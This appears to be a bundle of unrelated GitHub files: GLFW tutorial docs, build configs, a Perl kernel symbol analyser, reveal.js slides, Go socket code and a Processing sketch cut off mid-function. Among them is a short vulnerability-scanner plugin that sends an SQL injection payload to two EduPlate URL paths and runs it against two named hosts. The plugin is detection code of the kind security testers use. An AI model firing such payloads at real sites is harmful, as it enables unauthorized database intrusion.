without including any platform-specific headers.
In other words:
- Do _not_ include the OpenGL header yourself, as GLFW does this for you in
a platform-independent way
- Do _not_ include `windows.h` or other platform-specific headers unless
you plan on using those APIs yourself
- If you _do_ need to include such headers, include them _before_ the GLFW
header and it will detect this
On some platforms supported by GLFW the OpenGL header and link library only
expose older versions of OpenGL. The most extreme case is Windows, which only
exposes OpenGL 1.2. The easiest way to work around this is to use an
[extension loader library](@ref context_glext_auto).
If you are using such a library then you should include its header _before_ the
GLFW header. This lets it replace the OpenGL header included by GLFW without
conflicts. This example uses
[glad](https://github.com/Dav1dde/glad), but the same rule applies to all such
libraries.
@code
#include <glad/glad.h>
#include <GLFW/glfw3.h>
@endcode
@subsection quick_init_term Initializing and terminating GLFW
Before you can use most GLFW functions, the library must be initialized. On
successful initialization, `GLFW_TRUE` is returned. If an error occurred,
`GLFW_FALSE` is returned.
@code
if (!glfwInit())
{
// Initialization failed
}
@endcode
Note that `GLFW_TRUE` and `GLFW_FALSE` are and will always be just one and zero.
When you are done using GLFW, typically just before the application exits, you
need to terminate GLFW.
@code
glfwTerminate();
@endcode
This destroys any remaining windows and releases any other resources allocated by
GLFW. After this call, you must initialize GLFW again before using any GLFW
functions that require it.
@subsection quick_capture_error Setting an error callback
Most events are reported through callbacks, whether it's a key being pressed,
a GLFW window being moved, or an error occurring. Callbacks are simply
C functions (or C++ static methods) that are called by GLFW with arguments
describing the event.
In case a GLFW function fails, an error is reported to the GLFW error callback.
You can receive these reports with an error callback. This function must have
the signature below. This simple error callback just prints the error
description to `stderr`.
@code
void error_callback(int error, const char* description)
{
fprintf(stderr, "Error: %s\n", description);
}
@endcode
Callback functions must be set, so GLFW knows to call them. The function to set
the error callback is one of the few GLFW functions that may be called before
initialization, which lets you be notified of errors both during and after
initialization.
@code
glfwSetErrorCallback(error_callback);
@endcode
@subsection quick_create_window Creating a window and context
The window and its OpenGL context are created with a single call to @ref
glfwCreateWindow, which returns a handle to the created combined window and
context object
@code
GLFWwindow* window = glfwCreateWindow(640, 480, "My Title", NULL, NULL);
if (!window)
{
// Window or OpenGL context creation failed
}
@endcode
This creates a 640 by 480 windowed mode window with an OpenGL context. If
window or OpenGL context creation fails, `NULL` will be returned. You should
always check the return value. While window creation rarely fails, context
creation depends on properly installed drivers and may fail even on machines
with the necessary hardware.
By default, the OpenGL context GLFW creates may have any version. You can
require a minimum OpenGL version by setting the `GLFW_CONTEXT_VERSION_MAJOR` and
`GLFW_CONTEXT_VERSION_MINOR` hints _before_ creation. If the required minimum
version is not supported on the machine, context (and window) creation fails.
@code
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 2);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 0);
GLFWwindow* window = glfwCreateWindow(640, 480, "My Title", NULL, NULL);
if (!window)
{
// Window or context creation failed
}
@endcode
The window handle is passed to all window related functions and is provided to
along to all window related callbacks, so they can tell which window received
the event.
When a window and context is no longer needed, destroy it.
@code
glfwDestroyWindow(window);
@endcode
Once this function is called, no more events will be delivered for that window
and its handle becomes invalid.
@subsection quick_context_current Making the OpenGL context current
Before you can use the OpenGL API, you must have a current OpenGL context.
@code
glfwMakeContextCurrent(window);
@endcode
The context will remain current until you make another context current or until
the window owning the current context is destroyed.
If you are using an [extension loader library](@ref context_glext_auto) to
access modern OpenGL then this is when to initialize it, as the loader needs
a current context to load from. This example uses
[glad](https://github.com/Dav1dde/glad), but the same rule applies to all such
libraries.
@code
gladLoadGLLoader((GLADloadproc) glfwGetProcAddress);
@endcode
@subsection quick_window_close Checking the window close flag
Each window has a flag indicating whether the window should be closed.
When the user attempts to close the window, either by pressing the close widget
in the title bar or using a key combination like Alt+F4, this flag is set to 1.
Note that __the window isn't actually closed__, so you are expected to monitor
this flag and either destroy the window or give some kind of feedback to the
user.
@code
while (!glfwWindowShouldClose(window))
{
// Keep running
}
@endcode
You can be notified when the user is attempting to close the window by setting
a close callback with @ref glfwSetWindowCloseCallback. The callback will be
called immediately after the close flag has been set.
You can also set it yourself with @ref glfwSetWindowShouldClose. This can be
useful if you want to interpret other kinds of input as closing the window, like
for example pressing the _Escape_ key.
@subsection quick_key_input Receiving input events
Each window has a large number of callbacks that can be set to receive all the
various kinds of events. To receive key press and release events, create a key
callback function.
@code
static void key_callback(GLFWwindow* window, int key, int scancode, int action, int mods)
{
if (key == GLFW_KEY_ESCAPE && action == GLFW_PRESS)
glfwSetWindowShouldClose(window, GLFW_TRUE);
}
@endcode
The key callback, like other window related callbacks, are set per-window.
@code
glfwSetKeyCallback(window, key_callback);
@endcode
In order for event callbacks to be called when events occur, you need to process
events as described below.
@subsection quick_render Rendering with OpenGL
Once you have a current OpenGL context, you can use OpenGL normally. In this
tutorial, a multi-colored rotating triangle will be rendered. The framebuffer
size needs to be retrieved for `glViewport`.
@code
int width, height;
glfwGetFramebufferSize(window, &width, &height);
glViewport(0, 0, width, height);
@endcode
You can also set a framebuffer size callback using @ref
glfwSetFramebufferSizeCallback and be notified when the size changes.
Actual rendering with OpenGL is outside the scope of this tutorial, but there
are [many](https://open.gl/) [excellent](http://learnopengl.com/)
[tutorial](http://openglbook.com/) [sites](http://ogldev.atspace.co.uk/) that
teach modern OpenGL. Some of them use GLFW to create the context and window
while others use GLUT or SDL, but remember that OpenGL itself always works the
same.
@subsection quick_timer Reading the timer
To create smooth animation, a time source is needed. GLFW provides a timer that
returns the number of seconds since initialization. The time source used is the
most accurate on each platform and generally has micro- or nanosecond
resolution.
@code
double time = glfwGetTime();
@endcode
@subsection quick_swap_buffers Swapping buffers
GLFW windows by default use double buffering. That means that each window has
two rendering buffers; a front buffer and a back buffer. The front buffer is
the one being displayed and the back buffer the one you render to.
When the entire frame has been rendered, the buffers need to be swapped with one
another, so the back buffer becomes the front buffer and vice versa.
@code
glfwSwapBuffers(window);
@endcode
The swap interval indicates how many frames to wait until swapping the buffers,
commonly known as _vsync_. By default, the swap interval is zero, meaning
buffer swapping will occur immediately. On fast machines, many of those frames
will never be seen, as the screen is still only updated typically 60-75 times
per second, so this wastes a lot of CPU and GPU cycles.
Also, because the buffers will be swapped in the middle the screen update,
leading to [screen tearing](https://en.wikipedia.org/wiki/Screen_tearing).
For these reasons, applications will typically want to set the swap interval to
one. It can be set to higher values, but this is usually not recommended,
because of the input latency it leads to.
@code
glfwSwapInterval(1);
@endcode
This function acts on the current context and will fail unless a context is
current.
@subsection quick_process_events Processing events
GLFW needs to communicate regularly with the window system both in order to
receive events and to show that the application hasn't locked up. Event
processing must be done regularly while you have visible windows and is normally
done each frame after buffer swapping.
There are two methods for processing pending events; polling and waiting. This
example will use event polling, which processes only those events that have
already been received and then returns immediately.
@code
glfwPollEvents();
@endcode
This is the best choice when rendering continually, like most games do. If
instead you only need to update your rendering once you have received new input,
@ref glfwWaitEvents is a better choice. It waits until at least one event has
been received, putting the thread to sleep in the meantime, and then processes
all received events. This saves a great deal of CPU cycles and is useful for,
for example, many kinds of editing tools.
@section quick_example Putting it together
Now that you know how to initialize GLFW, create a window and poll for
keyboard input, it's possible to create a simple program.
This program creates a 640 by 480 windowed mode window and starts a loop that
clears the screen, renders a triangle and processes events until the user either
presses _Escape_ or closes the window.
@snippet simple.c code
The program above can be found in the
[source package](http://www.glfw.org/download.html) as `examples/simple.c`
and is compiled along with all other examples when you build GLFW. If you
built GLFW from the source package then already have this as `simple.exe` on
Windows, `simple` on Linux or `simple.app` on OS X.
This tutorial used only a few of the many functions GLFW provides. There are
guides for each of the areas covered by GLFW. Each guide will introduce all the
functions for that category.
- @ref intro_guide
- @ref window_guide
- @ref context_guide
- @ref monitor_guide
- @ref input_guide
You can access reference documentation for any GLFW function by clicking it and
the reference for each function links to related functions and guide sections.
The tutorial ends here. Once you have written a program that uses GLFW, you
will need to compile and link it. How to do that depends on the development
environment you are using and is best explained by the documentation for that
environment. To learn about the details that are specific to GLFW, see
@ref build_guide.
*/
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#author:小光
#refer:http://www.wooyun.org/bugs/wooyun-2010-0105271
#refer:http://www.wooyun.org/bugs/wooyun-2010-0105268
def assign(service, arg):
if service == "eduplate":
return True, arg
def audit(arg):
payloads = [
'EduPlate/VideoOnDemand/list.aspx?SID=0&KEYwordType=1&nKeyword=11',
'EduPlate/VideoOnDemand/Web/search.aspx?nKeyword='
]
getdata = '%%27%20and%20db_name%281%29%3E1--'
for payload in payloads:
code, head, res, err, _ = curl.curl2(arg+payload+getdata)
if code ==500 and 'master' in res:
security_hole(arg+payload+" :sql Injection")
if __name__ == '__main__':
from dummy import *
audit(assign('eduplate', 'http://i.goodo.com.cn/')[1])
audit(assign('eduplate', 'http://tywx.mhedu.sh.cn/')[1]) | {
"pile_set_name": "Github"
} |
[tox]
envlist = py26, py27, py33, py34, pypy
[testenv]
deps =
nose
mock
commands =
pip install -q -e .[flask,testing]
nosetests []
| {
"pile_set_name": "Github"
} |
<div id="{{mojit_uuid}}" class="mojit">
<h2>{{title}}</h2>
List of key value pairs:
<ul>
{{#params}}
<li>{{key}} => {{value}}</li>
{{/params}}
</ul>
</div>
| {
"pile_set_name": "Github"
} |
{ mkDerivation, lib, fetchpatch, fetchFromGitHub, cmake, boost17x, ceres-solver, eigen,
freeimage, glog, libGLU, glew, qtbase,
cudaSupport ? false, cudatoolkit ? null }:
assert !cudaSupport || cudatoolkit != null;
let boost_static = boost17x.override { enableStatic = true; };
in
mkDerivation rec {
version = "3.5";
pname = "colmap";
src = fetchFromGitHub {
owner = "colmap";
repo = "colmap";
rev = version;
sha256 = "1vnb62p0y2bnga173wmjs0lnyqdjikv0fkcxjzxm8187khk2lly8";
};
patches = [
(fetchpatch {
url = "https://github.com/colmap/colmap/commit/6af3d8b0048cecc3b9fc6f4e78c3214dd038180b.patch";
sha256 = "1zv5girmv4hv78w1xn131v8njwhpbyylc1m15731lnhrs8bri0jq";
})
];
buildInputs = [
boost_static ceres-solver eigen
freeimage glog libGLU glew qtbase
] ++ lib.optional cudaSupport cudatoolkit;
nativeBuildInputs = [ cmake ];
meta = with lib; {
description = "COLMAP - Structure-From-Motion and Multi-View Stereo pipeline";
longDescription = ''
COLMAP is a general-purpose Structure-from-Motion (SfM) and Multi-View Stereo (MVS) pipeline
with a graphical and command-line interface.
'';
homepage = "https://colmap.github.io/index.html";
license = licenses.bsd2;
platforms = platforms.linux;
maintainers = with maintainers; [ lebastr ];
};
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/perl -w
#
# namespace.pl. Mon Aug 30 2004
#
# Perform a name space analysis on the linux kernel.
#
# Copyright Keith Owens <[email protected]>. GPL.
#
# Invoke by changing directory to the top of the kernel object
# tree then namespace.pl, no parameters.
#
# Tuned for 2.1.x kernels with the new module handling, it will
# work with 2.0 kernels as well.
#
# Last change 2.6.9-rc1, adding support for separate source and object
# trees.
#
# The source must be compiled/assembled first, the object files
# are the primary input to this script. Incomplete or missing
# objects will result in a flawed analysis. Compile both vmlinux
# and modules.
#
# Even with complete objects, treat the result of the analysis
# with caution. Some external references are only used by
# certain architectures, others with certain combinations of
# configuration parameters. Ideally the source should include
# something like
#
# #ifndef CONFIG_...
# static
# #endif
# symbol_definition;
#
# so the symbols are defined as static unless a particular
# CONFIG_... requires it to be external.
#
# A symbol that is suffixed with '(export only)' has these properties
#
# * It is global.
# * It is marked EXPORT_SYMBOL or EXPORT_SYMBOL_GPL, either in the same
# source file or a different source file.
# * Given the current .config, nothing uses the symbol.
#
# The symbol is a candidate for conversion to static, plus removal of the
# export. But be careful that a different .config might use the symbol.
#
#
# Name space analysis and cleanup is an iterative process. You cannot
# expect to find all the problems in a single pass.
#
# * Identify possibly unnecessary global declarations, verify that they
# really are unnecessary and change them to static.
# * Compile and fix up gcc warnings about static, removing dead symbols
# as necessary.
# * make clean and rebuild with different configs (especially
# CONFIG_MODULES=n) to see which symbols are being defined when the
# config does not require them. These symbols bloat the kernel object
# for no good reason, which is frustrating for embedded systems.
# * Wrap config sensitive symbols in #ifdef CONFIG_foo, as long as the
# code does not get too ugly.
# * Repeat the name space analysis until you can live with with the
# result.
#
require 5; # at least perl 5
use strict;
use File::Find;
my $nm = ($ENV{'NM'} || "nm") . " -p";
my $objdump = ($ENV{'OBJDUMP'} || "objdump") . " -s -j .comment";
my $srctree = "";
my $objtree = "";
$srctree = "$ENV{'srctree'}/" if (exists($ENV{'srctree'}));
$objtree = "$ENV{'objtree'}/" if (exists($ENV{'objtree'}));
if ($#ARGV != -1) {
print STDERR "usage: $0 takes no parameters\n";
die("giving up\n");
}
my %nmdata = (); # nm data for each object
my %def = (); # all definitions for each name
my %ksymtab = (); # names that appear in __ksymtab_
my %ref = (); # $ref{$name} exists if there is a true external reference to $name
my %export = (); # $export{$name} exists if there is an EXPORT_... of $name
&find(\&linux_objects, '.'); # find the objects and do_nm on them
&list_multiply_defined();
&resolve_external_references();
&list_extra_externals();
exit(0);
sub linux_objects
{
# Select objects, ignoring objects which are only created by
# merging other objects. Also ignore all of modules, scripts
# and compressed. Most conglomerate objects are handled by do_nm,
# this list only contains the special cases. These include objects
# that are linked from just one other object and objects for which
# there is really no permanent source file.
my $basename = $_;
$_ = $File::Find::name;
s:^\./::;
if (/.*\.o$/ &&
! (
m:/built-in.o$:
|| m:arch/x86/kernel/vsyscall-syms.o$:
|| m:arch/ia64/ia32/ia32.o$:
|| m:arch/ia64/kernel/gate-syms.o$:
|| m:arch/ia64/lib/__divdi3.o$:
|| m:arch/ia64/lib/__divsi3.o$:
|| m:arch/ia64/lib/__moddi3.o$:
|| m:arch/ia64/lib/__modsi3.o$:
|| m:arch/ia64/lib/__udivdi3.o$:
|| m:arch/ia64/lib/__udivsi3.o$:
|| m:arch/ia64/lib/__umoddi3.o$:
|| m:arch/ia64/lib/__umodsi3.o$:
|| m:arch/ia64/scripts/check_gas_for_hint.o$:
|| m:arch/ia64/sn/kernel/xp.o$:
|| m:boot/bbootsect.o$:
|| m:boot/bsetup.o$:
|| m:/bootsect.o$:
|| m:/boot/setup.o$:
|| m:/compressed/:
|| m:drivers/cdrom/driver.o$:
|| m:drivers/char/drm/tdfx_drv.o$:
|| m:drivers/ide/ide-detect.o$:
|| m:drivers/ide/pci/idedriver-pci.o$:
|| m:drivers/media/media.o$:
|| m:drivers/scsi/sd_mod.o$:
|| m:drivers/video/video.o$:
|| m:fs/devpts/devpts.o$:
|| m:fs/exportfs/exportfs.o$:
|| m:fs/hugetlbfs/hugetlbfs.o$:
|| m:fs/msdos/msdos.o$:
|| m:fs/nls/nls.o$:
|| m:fs/ramfs/ramfs.o$:
|| m:fs/romfs/romfs.o$:
|| m:fs/vfat/vfat.o$:
|| m:init/mounts.o$:
|| m:^modules/:
|| m:net/netlink/netlink.o$:
|| m:net/sched/sched.o$:
|| m:/piggy.o$:
|| m:^scripts/:
|| m:sound/.*/snd-:
|| m:^.*/\.tmp_:
|| m:^\.tmp_:
|| m:/vmlinux-obj.o$:
)
) {
do_nm($basename, $_);
}
$_ = $basename; # File::Find expects $_ untouched (undocumented)
}
sub do_nm
{
my ($basename, $fullname) = @_;
my ($source, $type, $name);
if (! -e $basename) {
printf STDERR "$basename does not exist\n";
return;
}
if ($fullname !~ /\.o$/) {
printf STDERR "$fullname is not an object file\n";
return;
}
($source = $fullname) =~ s/\.o$//;
if (-e "$objtree$source.c" || -e "$objtree$source.S") {
$source = "$objtree$source";
} else {
$source = "$srctree$source";
}
if (! -e "$source.c" && ! -e "$source.S") {
# No obvious source, exclude the object if it is conglomerate
open(my $objdumpdata, "$objdump $basename|")
or die "$objdump $fullname failed $!\n";
my $comment;
while (<$objdumpdata>) {
chomp();
if (/^In archive/) {
# Archives are always conglomerate
$comment = "GCC:GCC:";
last;
}
next if (! /^[ 0-9a-f]{5,} /);
$comment .= substr($_, 43);
}
close($objdumpdata);
if (!defined($comment) || $comment !~ /GCC\:.*GCC\:/m) {
printf STDERR "No source file found for $fullname\n";
}
return;
}
open (my $nmdata, "$nm $basename|")
or die "$nm $fullname failed $!\n";
my @nmdata;
while (<$nmdata>) {
chop;
($type, $name) = (split(/ +/, $_, 3))[1..2];
# Expected types
# A absolute symbol
# B weak external reference to data that has been resolved
# C global variable, uninitialised
# D global variable, initialised
# G global variable, initialised, small data section
# R global array, initialised
# S global variable, uninitialised, small bss
# T global label/procedure
# U external reference
# W weak external reference to text that has been resolved
# a assembler equate
# b static variable, uninitialised
# d static variable, initialised
# g static variable, initialised, small data section
# r static array, initialised
# s static variable, uninitialised, small bss
# t static label/procedures
# w weak external reference to text that has not been resolved
# ? undefined type, used a lot by modules
if ($type !~ /^[ABCDGRSTUWabdgrstw?]$/) {
printf STDERR "nm output for $fullname contains unknown type '$_'\n";
}
elsif ($name =~ /\./) {
# name with '.' is local static
}
else {
$type = 'R' if ($type eq '?'); # binutils replaced ? with R at one point
# binutils keeps changing the type for exported symbols, force it to R
$type = 'R' if ($name =~ /^__ksymtab/ || $name =~ /^__kstrtab/);
$name =~ s/_R[a-f0-9]{8}$//; # module versions adds this
if ($type =~ /[ABCDGRSTW]/ &&
$name ne 'init_module' &&
$name ne 'cleanup_module' &&
$name ne 'Using_Versions' &&
$name !~ /^Version_[0-9]+$/ &&
$name !~ /^__parm_/ &&
$name !~ /^__kstrtab/ &&
$name !~ /^__ksymtab/ &&
$name !~ /^__kcrctab_/ &&
$name !~ /^__exitcall_/ &&
$name !~ /^__initcall_/ &&
$name !~ /^__kdb_initcall_/ &&
$name !~ /^__kdb_exitcall_/ &&
$name !~ /^__module_/ &&
$name !~ /^__mod_/ &&
$name !~ /^__crc_/ &&
$name ne '__this_module' &&
$name ne 'kernel_version') {
if (!exists($def{$name})) {
$def{$name} = [];
}
push(@{$def{$name}}, $fullname);
}
push(@nmdata, "$type $name");
if ($name =~ /^__ksymtab_/) {
$name = substr($name, 10);
if (!exists($ksymtab{$name})) {
$ksymtab{$name} = [];
}
push(@{$ksymtab{$name}}, $fullname);
}
}
}
close($nmdata);
if ($#nmdata < 0) {
if (
$fullname ne "lib/brlock.o"
&& $fullname ne "lib/dec_and_lock.o"
&& $fullname ne "fs/xfs/xfs_macros.o"
&& $fullname ne "drivers/ide/ide-probe-mini.o"
&& $fullname ne "usr/initramfs_data.o"
&& $fullname ne "drivers/acpi/executer/exdump.o"
&& $fullname ne "drivers/acpi/resources/rsdump.o"
&& $fullname ne "drivers/acpi/namespace/nsdumpdv.o"
&& $fullname ne "drivers/acpi/namespace/nsdump.o"
&& $fullname ne "arch/ia64/sn/kernel/sn2/io.o"
&& $fullname ne "arch/ia64/kernel/gate-data.o"
&& $fullname ne "drivers/ieee1394/oui.o"
&& $fullname ne "security/capability.o"
&& $fullname ne "sound/core/wrappers.o"
&& $fullname ne "fs/ntfs/sysctl.o"
&& $fullname ne "fs/jfs/jfs_debug.o"
) {
printf "No nm data for $fullname\n";
}
return;
}
$nmdata{$fullname} = \@nmdata;
}
sub drop_def
{
my ($object, $name) = @_;
my $nmdata = $nmdata{$object};
my ($i, $j);
for ($i = 0; $i <= $#{$nmdata}; ++$i) {
if ($name eq (split(' ', $nmdata->[$i], 2))[1]) {
splice(@{$nmdata{$object}}, $i, 1);
my $def = $def{$name};
for ($j = 0; $j < $#{$def{$name}}; ++$j) {
if ($def{$name}[$j] eq $object) {
splice(@{$def{$name}}, $j, 1);
}
}
last;
}
}
}
sub list_multiply_defined
{
foreach my $name (keys(%def)) {
if ($#{$def{$name}} > 0) {
# Special case for cond_syscall
if ($#{$def{$name}} == 1 && $name =~ /^sys_/ &&
($def{$name}[0] eq "kernel/sys.o" ||
$def{$name}[1] eq "kernel/sys.o")) {
&drop_def("kernel/sys.o", $name);
next;
}
# Special case for i386 entry code
if ($#{$def{$name}} == 1 && $name =~ /^__kernel_/ &&
$def{$name}[0] eq "arch/x86/kernel/vsyscall-int80_32.o" &&
$def{$name}[1] eq "arch/x86/kernel/vsyscall-sysenter_32.o") {
&drop_def("arch/x86/kernel/vsyscall-sysenter_32.o", $name);
next;
}
printf "$name is multiply defined in :-\n";
foreach my $module (@{$def{$name}}) {
printf "\t$module\n";
}
}
}
}
sub resolve_external_references
{
my ($kstrtab, $ksymtab, $export);
printf "\n";
foreach my $object (keys(%nmdata)) {
my $nmdata = $nmdata{$object};
for (my $i = 0; $i <= $#{$nmdata}; ++$i) {
my ($type, $name) = split(' ', $nmdata->[$i], 2);
if ($type eq "U" || $type eq "w") {
if (exists($def{$name}) || exists($ksymtab{$name})) {
# add the owning object to the nmdata
$nmdata->[$i] = "$type $name $object";
# only count as a reference if it is not EXPORT_...
$kstrtab = "R __kstrtab_$name";
$ksymtab = "R __ksymtab_$name";
$export = 0;
for (my $j = 0; $j <= $#{$nmdata}; ++$j) {
if ($nmdata->[$j] eq $kstrtab ||
$nmdata->[$j] eq $ksymtab) {
$export = 1;
last;
}
}
if ($export) {
$export{$name} = "";
}
else {
$ref{$name} = ""
}
}
elsif ( $name ne "mod_use_count_"
&& $name ne "__initramfs_end"
&& $name ne "__initramfs_start"
&& $name ne "_einittext"
&& $name ne "_sinittext"
&& $name ne "kallsyms_names"
&& $name ne "kallsyms_num_syms"
&& $name ne "kallsyms_addresses"
&& $name ne "__this_module"
&& $name ne "_etext"
&& $name ne "_edata"
&& $name ne "_end"
&& $name ne "__bss_start"
&& $name ne "_text"
&& $name ne "_stext"
&& $name ne "__gp"
&& $name ne "ia64_unw_start"
&& $name ne "ia64_unw_end"
&& $name ne "__init_begin"
&& $name ne "__init_end"
&& $name ne "__bss_stop"
&& $name ne "__nosave_begin"
&& $name ne "__nosave_end"
&& $name ne "pg0"
&& $name ne "__module_text_address"
&& $name !~ /^__sched_text_/
&& $name !~ /^__start_/
&& $name !~ /^__end_/
&& $name !~ /^__stop_/
&& $name !~ /^__scheduling_functions_.*_here/
&& $name !~ /^__.*initcall_/
&& $name !~ /^__.*per_cpu_start/
&& $name !~ /^__.*per_cpu_end/
&& $name !~ /^__alt_instructions/
&& $name !~ /^__setup_/
&& $name !~ /^jiffies/
&& $name !~ /^__mod_timer/
&& $name !~ /^__mod_page_state/
&& $name !~ /^init_module/
&& $name !~ /^cleanup_module/
) {
printf "Cannot resolve ";
printf "weak " if ($type eq "w");
printf "reference to $name from $object\n";
}
}
}
}
}
sub list_extra_externals
{
my %noref = ();
foreach my $name (keys(%def)) {
if (! exists($ref{$name})) {
my @module = @{$def{$name}};
foreach my $module (@module) {
if (! exists($noref{$module})) {
$noref{$module} = [];
}
push(@{$noref{$module}}, $name);
}
}
}
if (%noref) {
printf "\nExternally defined symbols with no external references\n";
foreach my $module (sort(keys(%noref))) {
printf " $module\n";
foreach (sort(@{$noref{$module}})) {
my $export;
if (exists($export{$_})) {
$export = " (export only)";
} else {
$export = "";
}
printf " $_$export\n";
}
}
}
}
| {
"pile_set_name": "Github"
} |
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>reveal.js - Math Plugin</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<link rel="stylesheet" href="../../css/reveal.css">
<link rel="stylesheet" href="../../css/theme/night.css" id="theme">
</head>
<body>
<div class="reveal">
<div class="slides">
<section>
<h2>reveal.js Math Plugin</h2>
<p>A thin wrapper for MathJax</p>
</section>
<section>
<h3>The Lorenz Equations</h3>
\[\begin{aligned}
\dot{x} & = \sigma(y-x) \\
\dot{y} & = \rho x - y - xz \\
\dot{z} & = -\beta z + xy
\end{aligned} \]
</section>
<section>
<h3>The Cauchy-Schwarz Inequality</h3>
<script type="math/tex; mode=display">
\left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right)
</script>
</section>
<section>
<h3>A Cross Product Formula</h3>
\[\mathbf{V}_1 \times \mathbf{V}_2 = \begin{vmatrix}
\mathbf{i} & \mathbf{j} & \mathbf{k} \\
\frac{\partial X}{\partial u} & \frac{\partial Y}{\partial u} & 0 \\
\frac{\partial X}{\partial v} & \frac{\partial Y}{\partial v} & 0
\end{vmatrix} \]
</section>
<section>
<h3>The probability of getting \(k\) heads when flipping \(n\) coins is</h3>
\[P(E) = {n \choose k} p^k (1-p)^{ n-k} \]
</section>
<section>
<h3>An Identity of Ramanujan</h3>
\[ \frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} =
1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}}
{1+\frac{e^{-8\pi}} {1+\ldots} } } } \]
</section>
<section>
<h3>A Rogers-Ramanujan Identity</h3>
\[ 1 + \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots =
\prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})}\]
</section>
<section>
<h3>Maxwell’s Equations</h3>
\[ \begin{aligned}
\nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} & = \frac{4\pi}{c}\vec{\mathbf{j}} \\ \nabla \cdot \vec{\mathbf{E}} & = 4 \pi \rho \\
\nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} & = \vec{\mathbf{0}} \\
\nabla \cdot \vec{\mathbf{B}} & = 0 \end{aligned}
\]
</section>
<section>
<section>
<h3>The Lorenz Equations</h3>
<div class="fragment">
\[\begin{aligned}
\dot{x} & = \sigma(y-x) \\
\dot{y} & = \rho x - y - xz \\
\dot{z} & = -\beta z + xy
\end{aligned} \]
</div>
</section>
<section>
<h3>The Cauchy-Schwarz Inequality</h3>
<div class="fragment">
\[ \left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right) \]
</div>
</section>
<section>
<h3>A Cross Product Formula</h3>
<div class="fragment">
\[\mathbf{V}_1 \times \mathbf{V}_2 = \begin{vmatrix}
\mathbf{i} & \mathbf{j} & \mathbf{k} \\
\frac{\partial X}{\partial u} & \frac{\partial Y}{\partial u} & 0 \\
\frac{\partial X}{\partial v} & \frac{\partial Y}{\partial v} & 0
\end{vmatrix} \]
</div>
</section>
<section>
<h3>The probability of getting \(k\) heads when flipping \(n\) coins is</h3>
<div class="fragment">
\[P(E) = {n \choose k} p^k (1-p)^{ n-k} \]
</div>
</section>
<section>
<h3>An Identity of Ramanujan</h3>
<div class="fragment">
\[ \frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} =
1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}}
{1+\frac{e^{-8\pi}} {1+\ldots} } } } \]
</div>
</section>
<section>
<h3>A Rogers-Ramanujan Identity</h3>
<div class="fragment">
\[ 1 + \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots =
\prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})}\]
</div>
</section>
<section>
<h3>Maxwell’s Equations</h3>
<div class="fragment">
\[ \begin{aligned}
\nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} & = \frac{4\pi}{c}\vec{\mathbf{j}} \\ \nabla \cdot \vec{\mathbf{E}} & = 4 \pi \rho \\
\nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} & = \vec{\mathbf{0}} \\
\nabla \cdot \vec{\mathbf{B}} & = 0 \end{aligned}
\]
</div>
</section>
</section>
</div>
</div>
<script src="../../lib/js/head.min.js"></script>
<script src="../../js/reveal.js"></script>
<script>
Reveal.initialize({
history: true,
transition: 'linear',
math: {
// mathjax: 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js',
config: 'TeX-AMS_HTML-full'
},
dependencies: [
{ src: '../../lib/js/classList.js' },
{ src: '../../plugin/math/math.js', async: true }
]
});
</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Socket control messages
package unix
import "unsafe"
// UnixCredentials encodes credentials into a socket control message
// for sending to another process. This can be used for
// authentication.
func UnixCredentials(ucred *Ucred) []byte {
b := make([]byte, CmsgSpace(SizeofUcred))
h := (*Cmsghdr)(unsafe.Pointer(&b[0]))
h.Level = SOL_SOCKET
h.Type = SCM_CREDENTIALS
h.SetLen(CmsgLen(SizeofUcred))
*(*Ucred)(h.data(0)) = *ucred
return b
}
// ParseUnixCredentials decodes a socket control message that contains
// credentials in a Ucred structure. To receive such a message, the
// SO_PASSCRED option must be enabled on the socket.
func ParseUnixCredentials(m *SocketControlMessage) (*Ucred, error) {
if m.Header.Level != SOL_SOCKET {
return nil, EINVAL
}
if m.Header.Type != SCM_CREDENTIALS {
return nil, EINVAL
}
ucred := *(*Ucred)(unsafe.Pointer(&m.Data[0]))
return &ucred, nil
}
| {
"pile_set_name": "Github"
} |
"""
Ortho vs Perspective.
Click to see the difference between orthographic projection
and perspective projection as applied to a simple box.
The ortho() function sets an orthographic projection and
defines a parallel clipping volume. All objects with the
same dimension appear to be the same size, regardless of whether
they are near or far away from the camera. The parameters to this
function specify the clipping volume where left and right
are the minimum and maximum x values respectively,
top and bottom are the minimum and maximum y values respectively,
and lastly, the near and far are the minimum and maximum z values.
"""
showPerspective = True
def setup():
size(640, 360, P3D)
fill(204)
noStroke()
def draw():
lights()
background(0)
far = map(mouseX, 0, width, 120, 400)
if showPerspective:
perspective(THIRD_PI, float(width) / height, 10, far)
else:
